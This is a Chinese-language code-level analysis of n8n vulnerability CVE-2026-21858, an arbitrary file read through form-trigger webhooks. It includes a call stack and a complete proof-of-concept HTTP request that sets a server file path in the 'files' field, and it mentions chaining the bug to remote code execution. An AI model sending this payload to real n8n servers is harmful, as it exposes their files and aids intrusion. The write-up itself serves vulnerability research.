n8n CVE-2026-21858 漏洞分析
本文从代码层面分析了CVE-2026-21858漏洞的成因
漏洞分析
首先根据漏洞描述,攻击者可以通过执行某些基于表单的工作流来访问底层服务器上的文件

先创建一个表单试试看看什么情况


官方文档如下,支持json格式定义表单
https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.form/#including-hidden-fields

在webhook处下断点

从body中解析数据,bodyData,files都为json格式的,将filesInput push进了processFiles中

进入到copyBinaryFile函数,其中filePath,fileName都是file里面的属性

进入BinaryDataService.copyBinaryFile,直接读取了filePath的文件,返回了文件BinaryFileType对象,其中BinaryFileType包含属性mimiType,data文件内容等

在addFormResponseDataToReturnItem函数中解析内容并返回

返回200

调用栈
copyBinaryFile (d:\code\js\n8n-n8n-1.116.0\packages\core\src\execution-engine\node-execution-context\utils\binary-helper-functions.ts:220)
Object.copyBinaryFile (d:\code\js\n8n-n8n-1.116.0\packages\core\src\execution-engine\node-execution-context\webhook-context.ts:71)
prepareFormReturnItem (d:\code\js\n8n-n8n-1.116.0\packages\nodes-base\nodes\Form\utils\utils.ts:398)
formWebhook (d:\code\js\n8n-n8n-1.116.0\packages\nodes-base\nodes\Form\utils\utils.ts:616)
process.processTicksAndRejections (internal/process/task_queues:105)
await (未知源:0)
webhook (d:\code\js\n8n-n8n-1.116.0\packages\nodes-base\nodes\Form\v2\FormTriggerV2.node.ts:218)
runWebhook (d:\code\js\n8n-n8n-1.116.0\packages\cli\src\webhooks\webhook.service.ts:366)
executeWebhook (d:\code\js\n8n-n8n-1.116.0\packages\cli\src\webhooks\webhook-helpers.ts:469)
processTicksAndRejections (internal/process/task_queues:105)
await (未知源:0)
<anonymous> (d:\code\js\n8n-n8n-1.116.0\packages\cli\src\webhooks\test-webhooks.ts:126)
executeWebhook (d:\code\js\n8n-n8n-1.116.0\packages\cli\src\webhooks\test-webhooks.ts:123)
await (未知源:0)
handleRequest (d:\code\js\n8n-n8n-1.116.0\packages\cli\src\webhooks\webhook-request-handler.ts:66)
<anonymous> (d:\code\js\n8n-n8n-1.116.0\packages\cli\src\webhooks\webhook-request-handler.ts:257)
handleRequest (d:\code\js\n8n-n8n-1.116.0\node_modules\.pnpm\router@2.2.0\node_modules\router\lib\layer.js:152)
next (d:\code\js\n8n-n8n-1.116.0\node_modules\.pnpm\router@2.2.0\node_modules\router\lib\route.js:157)
dispatch (d:\code\js\n8n-n8n-1.116.0\node_modules\.pnpm\router@2.2.0\node_modules\router\lib\route.js:117)
handle (d:\code\js\n8n-n8n-1.116.0\node_modules\.pnpm\router@2.2.0\node_modules\router\index.js:435)poc如下
POST /form-test/ea3eef90-8de6-4bb2-a420-65da93cbbad4 HTTP/1.1
Host: localhost:5678
Content-Length: 128
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="143", "Not A(Brand";v="24"
Content-Type: application/json
{
"data": {},
"files": {
"file":{
"filepath": "d:\\test.txt",
"originalFilename": "test.bin"
}
}
}
返回的文件内容是通过websocket协议来传输的

要想直接回显需要给配置一个Respond


后面的RCE其实就是配合之前的漏洞来RCE,可以看我之前的投稿
https://xz.aliyun.com/news/90967
本文分析n8n表单功能中存在的任意文件读取漏洞,攻击者可构造恶意表单请求读取服务器敏感文件,结合WebSocket回显实现RCE。
由 AI 根据全文自动生成,仅供参考,以原文为准
11